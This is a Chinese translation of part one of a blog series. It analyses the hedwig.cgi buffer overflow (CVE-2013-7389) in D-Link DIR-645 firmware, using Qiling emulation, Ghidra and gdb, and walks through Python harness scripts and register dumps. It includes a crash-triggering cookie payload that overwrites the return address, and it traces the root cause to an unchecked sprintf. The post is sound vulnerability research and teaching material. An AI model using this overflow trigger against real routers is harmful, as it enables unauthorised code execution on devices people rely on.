使用Qiling分析Dlink DIR-645中的缓冲区溢出(part I)
2020-08-24 11:51:11 Author: xz.aliyun.com(查看原文) 阅读量:436 收藏

原文链接:https://github.com/nahueldsanchez/blogpost_qiling_dlink_1

使用Qiling框架分析Dlink DIR-645中的缓冲区溢出(part I)

介绍

在过去的几周中,我一直在玩一个非常有趣的项目:Qiling框架。我认为最好的学习方法就是边实践边学,因此我想使用该框架进行一些实践。

目的

我的目标是了解,复现和利用Roberto Palear在2013年报告的漏洞(CVE-2013-7389)。现在,使用Qiling和一些免费工具,对该存在7年且影响多个Dlink路由器的漏洞进行分析。您可以在此处找到公告

我将重点关注“hedwig.cgi”上存在的缓冲区溢出。对于熟悉MIPS和漏洞分析的人来说,这是非常基础的,但是由于我对MIPS几乎一无所知,所以这很有趣,并且可以学到很多东西。希望你们也会喜欢它。

总体思路

第一步是在确定要完成的工作:

  1. 理解造成漏洞的原因
  2. 复现漏洞
  3. 使用Ghidra进行补丁分析,清楚固件中的补丁
  4. Qiling上运行二进制文件时为其编写exp(可与硬件或Qemu一起使用)
  5. 学习如何使用Free RE工具

所以,我们从第一步开始。

理解造成漏洞的原因

利用提供的有关受影响固件版本的信息,我在Google上搜索下载存在漏洞的固件

下载后,使用binwalk解固件。

解固件后,将位于sbin目录中的二进制文件httpd加载到Ghidra 中,并没有任何Bug的相关信息。

注:我的艰难过程得出的结论是:该错误位于接受HTTP连接的二进制文件中,让我们来看一下。

我再次阅读了该公告,并寻找\*hedwig\*cgi的二进制程序

$ find . -name *hedwig*cgi
./htdocs/web/hedwig.cgi

$ ls -larth ./htdocs/web/hedwig.cgi
lrwxrwxrwx ./htdocs/web/hedwig.cgi -> /htdocs/cgibin

如你所看到的,hedwig.cgi 符号链接到二进制程序cgibin,我们来分析它!

我将二进制文件加载到Ghidra中,并查找了hedwig.cgi字符串:

我搜索了使用过该字符串的位置,并且跟进去

看一下反编译后的代码:

如您所见,二进制文件采用一个字符串并将其与我们感兴趣的字符串进行比较,如果相同,则将调用hedwigcgi_main函数。我认为在调用cgibin二进制文件时将字符串作为参数使用,但是字符串是从二进制文件本身的名称中获取的-因此对hedwig.cgi进行符号链接。为了解决这个问题,在htdocs目录中创建了相同的符号链接:

squashfs-root/htdocs$ ls -larth hedwig.cgi
hedwig.cgi -> cgibin

一开始我只是使用Qilinghook地址功能快速修复了此问题,将程序流从第一条指令重定向到我感兴趣的函数。

MAIN_ADDR = 0x0402770
HEDWIGCGI_MAIN = 0x0040bfc0

def redirect_to_hedwigcgi_main(ql):
    ql.reg.arch_pc = HEDWIGCGI_MAIN
    return

...
ql = Qiling(path, rootfs, output = "debug", env=required_env)
ql.hook_address(redirect_to_hedwigcgi_main, MAIN_ADDR)
...

在hedwingcgi_main函数中寻找漏洞

一旦确定了存在漏洞的函数,便会使用研究人员提供的PoCmetasploit中可用的exp。它们都以(或多或少)相同的方式去触发漏洞,即进行HTTP请求:

...
POST /hedwig.cgi
cookie: uid=(PAYLOAD)
...

我快速搜索了“uid”字符串,我猜测在解析该字符串时会出现问题:

我检查了它的引用位置:

第一个和第二个引用位与sess_get_uid函数的内部,最后两个位于一个没有符号的函数中。我决定跟进去sess_get_uid函数,并检查该函数是否被hedwigcgi_main所调用。

另一个有意思的是我们可以使用Qiling模拟二进制文件函数的功能:

import sys
sys.path.append("..")
from qiling import *

MAIN = 0x0402770
HEDWIGCGI_MAIN_ADDR = 0x0040bfc0
SESS_GET_UID = 0x004083f0

def my_sandbox(path, rootfs):
    ql = Qiling(path, rootfs, output = "none")
    ql.add_fs_mapper('/tmp', '/var/tmp')        # Maps hosts /tmp to /var/tmp
    ql.hook_address(lambda ql: ql.nprint("** At [main] **"), MAIN)
    ql.hook_address(lambda ql: ql.nprint("** At [hedwigcgi_main] **"), HEDWIGCGI_MAIN_ADDR)
    ql.hook_address(lambda ql: ql.nprint("** At [sess_get_uid] **"), SESS_GET_UID)
    ql.run()

if __name__ == "__main__":
    my_sandbox(["_DIR645A1_FW103RUB08.bin.extracted/squashfs-root/htdocs/hedwig.cgi"], "_DIR645A1_FW103RUB08.bin.extracted/squashfs-root")

输出为:

...
mprotect(0x77569000, 0x1000, 0x1) = 0
mprotect(0x47ce000, 0x1000, 0x1) = 0
ioctl(0x0, 0x540d, 0x7ff3ca30) = -1
ioctl(0x1, 0x540d, 0x7ff3ca30) = -1
** At [main] **
** At [hedwingcgi_main] **
write(1,7756d038,112) = 0
HTTP/1.1 200 OK
Content-Type: text/xml
...

我们可以看到执行到_main__hedwigcgi_main_但尚未到_session_get_uid_。看一下代码,找到进入此函数的条件。

...
  http_request_method = getenv("REQUEST_METHOD");
  if (http_request_method == (char *)0x0) {
    http_request_method = "no REQUEST";
  } else {
    is_http_POST = strcasecmp(http_request_method, "POST");
    if (is_http_POST != 0) {
      http_request_method = "unsupported HTTP request";
      goto invalid_http_method;
    }
...

来看下Ghidra生成的反编译代码,我们可以看到hedwigcgi_main函数会检查并在环境变量中寻找REQUEST_METHOD。如果该变量不包含POST值,将不会进入到该函数。

注意:假设在实际的硬件中,由于某种原因,这些环境变量已经被填充,因此不必检查谁在执行此操作。

使用Qiling可以轻松设置环境变量:

...
required_env = {
        "REQUEST_METHOD": "POST",
    }

ql = Qiling(path, rootfs, output = "none", env=required_env)
...

我们只需要传递一个字典,其中的键名是变量的名称和键值即为其值。

让我们尝试再次运行二进制文件,这次是在我们的伪环境中进行:

...
mprotect(0x77569000, 0x1000, 0x1) = 0
mprotect(0x47ce000, 0x1000, 0x1) = 0
ioctl(0x0, 0x540d, 0x7ff3ca08) = -1
ioctl(0x1, 0x540d, 0x7ff3ca08) = -1
** At [main] **
** At [hedwingcgi_main] **
brk(0x0)
brk(0x438000)
open(/etc/config/image_sign, 0x0, 0o0) = 3
ioctl(0x3, 0x540d, 0x7ff3c818) = -1
brk(0x439000)
read(3, 0x437098, 0x1000) = 27
close(3) = 0
** At [sess_get_uid] **
socket(1, 1, 0) = 3
fcntl(3, 2) = 0
...

现在我们执行到了我们所感兴趣的点。看了一下函数之后,该函数应该检查了HTTP COOKIE header

cookie_value = getenv("HTTP_COOKIE");

然后会搜索“ uid”字符串;一旦找到,就会处理它的值。我猜测这个函数会处理包含在cookie header中多个值,如下所示:

Cookie: Avalue=123;OtherVal=AAA;uid=TEST

看一下exp,我们可以看到发送包含uid=(enough_data)Cookie headerHTTP请求就可以触发漏洞.

我们设置HTTP_COOKIE环境变量来触发该漏洞:

...
buffer = "uid=%s" % (b"A" * 1041 + b"1111")
required_env = {
    "REQUEST_METHOD": "POST",
    "HTTP_COOKIE"   : buffer
}
...

这是脚本运行后的输出。为了清楚起见,省略了部分内容:

...
** At [main] **
** At [hedwingcgi_main] **
** At [sess_get_uid] **
[!] Emulation Error

[-] s0  :    0x41414141
[-] s1  :    0x41414141
[-] s2  :    0x41414141
[-] s3  :    0x41414141
[-] s4  :    0x41414141
[-] s5  :    0x41414141
[-] s6  :    0x41414141
[-] s7  :    0x41414141
[-] t8  :    0x8
[-] t9  :    0x0
[-] k0  :    0x0
[-] k1  :    0x0
[-] gp  :    0x43b6d0
[-] sp  :    0x7ff3c608
[-] s8  :    0x41414141
[-] ra  :    0x41414141
[-] status  :    0x0
[-] lo  :    0x0
[-] hi  :    0x0
[-] badvaddr    :    0x0
[-] cause   :    0x0
[-] pc  :    0x41414140
[-] cp0_config3 :    0x0
[-] cp0_userlocal   :    0x0

[+] PC = 0x41414140
[+] Start      End        Perm.  Path
unicorn.unicorn.UcError: Invalid memory read (UC_ERR_READ_UNMAPPED)

可以看到,我们触发了该漏洞!该函数正在解析我们的输入,并以某种方式进行了错误的处理,最终将其复制到错误的位置,并覆盖了之前寄存器的值。检查一下。现在我们已经很清楚了Bug的位置,需要找到确切的位置。为此,我尝试了不同方法:

只需要执行以下操作便可调试:

...
ql.debugger = True
...
$ python emulate_hedwigcgi.py

debugger> Initializing load_address 0x0
debugger> Listening on 127.0.0.1:9999

我们需要安装gdb-multiarch,执行:

sudo apt-get install gdb-multiarch

AttachQiling

$ gdb-multiarch
(gdb) set remotetimeout 100
(gdb) target remote 127.0.0.1:9999

Remote debugging using 127.0.0.1:9999
warning: while parsing target description: no element found
warning: Could not load XML target description; ignoring
warning: while parsing target description: no element found
warning: Could not load XML target description; ignoring
Reading /lib/ld-uClibc.so.0 from remote target...
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x004025c0 in _ftext ()

Qiling可以很容易的在触发异常之前打印出每条指令,我们可以定义一个打印所有已执行的指令的回调函数。并将此回调hooksess_get_uid的开始。

...
# From https://github.com/qilingframework/qiling/blob/master/examples/hello_x8664_linux_disasm.py

def print_asm(ql, address, size):
    buf = ql.mem.read(address, size)
    for i in md.disasm(buf, address):
        print(":: 0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

####
...

def  hook_sess_get_uid(ql):
    ql.hook_code(print_asm)

ql.hook_address(hook_sess_get_uid, SESS_GET_UID)

当有大量的代码执行时,该功能将不起作用,并且不能帮助找到越界写入发生的准确位置。同样可能产生如内存损坏发生在位置X,寄存器在位置Y被覆盖这样的情况(执行ret指令时)。

然后我提出了第二个想法:我决定检查潜在的不安全函数诸如strcpy的用法。同样我们可以Qiling hook函数:

...
# Once strcpy is called we'll print the arguments and pass them to the real strcpy
def strcpy_hook(ql):
    print("dst: %s" % hex(ql.os.function_arg[0]))
    print("src: %s" % ql.mem.string(ql.os.function_arg[1]))

    #Not sure why I have to return 2 to continue with the call
    #to the strcpy function. This was taken from example:
    #hello_mips32el_linux_function_hook.py
    return 2

ql.set_api('strcpy', strcpy_hook, QL_INTERCEPT.ENTER)
...

检查结果

** At [sess_get_uid] **
dst: 0x437898
src: b'AAAAAAAAAAAAAAAAAA...AAA'
...
[+] PC = 0x41414140

OK,现在我们知道缓冲区的写入位置(0x437898),并且调用了strcpy

当我第一次发现这个我很高兴,我认为strcpy是造成崩溃的根本原因。但是,如果检查目标地址(0x437898),该地址为堆内地址。

...
[+] 00437000 - 00438000 - rwx    [brk]
...

同样,如果我们看一下strcpy在哪里进行了复制数据的操作,就会发现在sess_get_uid函数一开始就会调用sobj_new函数。这将返回一个指向用malloc(堆)分配的内存的指针。

因此,我的疑问点:如果strcpy的目的地址是0x437898(即堆),并且是由于PC指向无效的地址而导致的程序崩溃,这是怎么回事?不知何故,传入的超长字符串必须最终覆盖堆栈中的某些内容,但显然在strcpy之后并没有发生这种情况,我不得不调试好几个小时来完全了解发生了什么。

答案是在地址0x0040c1c0处调用了sprintf函数。该函数接收三个字符串作为参数,如下面的代码片段所示:

0040c1b4 21 38 40 00     move       a3,v0
0040c1b8 21 30 40 02     move       a2=>s_/runtime/session_00420140,s2               = "/runtime/session"
0040c1bc 2c 08 a5 24     addiu      a1=>s_%s/%s/postxml_0042082c,a1,0x82c            = "%s/%s/postxml"

$a3寄存器指向缓冲区:

gef➤  x/s $a3
0x437898:   "b'", 'A' <repeats 2000 times>, "'"

sprintf将使用指定的格式和缓冲区来格式化作为参数传递的字符串,更重要的是目的地是栈中的局部变量

gef➤  x/s $s1
0x7ff3c1e0: "/runtime/session/b'", 'A' <repeats 2000 times>, "'/postxml"

至此,疑惑已经解开。总结:

  1. 发送包含COOKIE headerHTTP POST请求
  2. header必须包含uid =(BUFFER)字符串
  3. strcpy将复制(BUFFER)到堆中而不检查大小
  4. sprintf会将我们的输入uid =(BUFFER)作为某些字符串格式的一部分,将结果存储在栈中的变量中。如果(BUFFER)足够大,它将最终覆盖先前保存的寄存器,包括返回地址。

为了检查最后一点,我在hedwigcgi_main函数的返回指令中下了一个断点:

Breakpoint 1, 0x0040c594 in hedwigcgi_main ()

...
$s0  : 0x41414141 ("AAAA"?)
$s1  : 0x41414141 ("AAAA"?)
$s2  : 0x41414141 ("AAAA"?)
$s3  : 0x41414141 ("AAAA"?)
$s4  : 0x41414141 ("AAAA"?)
$s5  : 0x41414141 ("AAAA"?)
$s6  : 0x41414141 ("AAAA"?)
$s7  : 0x41414141 ("AAAA"?)
$t8  : 0x8       
$t9  : 0x0       
$k0  : 0x0       
$k1  : 0x0       
$s8  : 0x41414141 ("AAAA"?)
$pc  : 0x0040c594
$sp  : 0x7ff3c120
$hi  : 0x0       
$lo  : 0x0       
$fir : 0x0       
$ra  : 0x41414141 ("AAAA"?)
...

→   0x40c594 <hedwigcgi_main+1492> jr     ra

显然,sprintf复制了(BUFFER)并覆盖了先前保存的寄存器的值,这样就很容易稳定的代码执行。

结论

最后!我们解决了这个问题。我花了很大的精力将各个部分放在一起,并充分了解了strcpy是如何导致崩溃的。我上传了在博文中一直使用的Python脚本作为参考。你可以在这里找到.。在本系列的下一部分中,我将继续研究如何编写可在Qiling中使用的漏洞利用程序。

参考资料

https://web.archive.org/web/20140418120534/http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008
https://people.cs.pitt.edu/~xujie/cs447/Mips/sub.html
https://conference.hitb.org/hitblockdown002/materials/D1%20VIRTUAL%20LAB%20-%20Qiling%20Framework%20-%20Kaijern%20Lau.pdf


文章来源: http://xz.aliyun.com/t/8156
如有侵权请联系:admin#unsafe.sh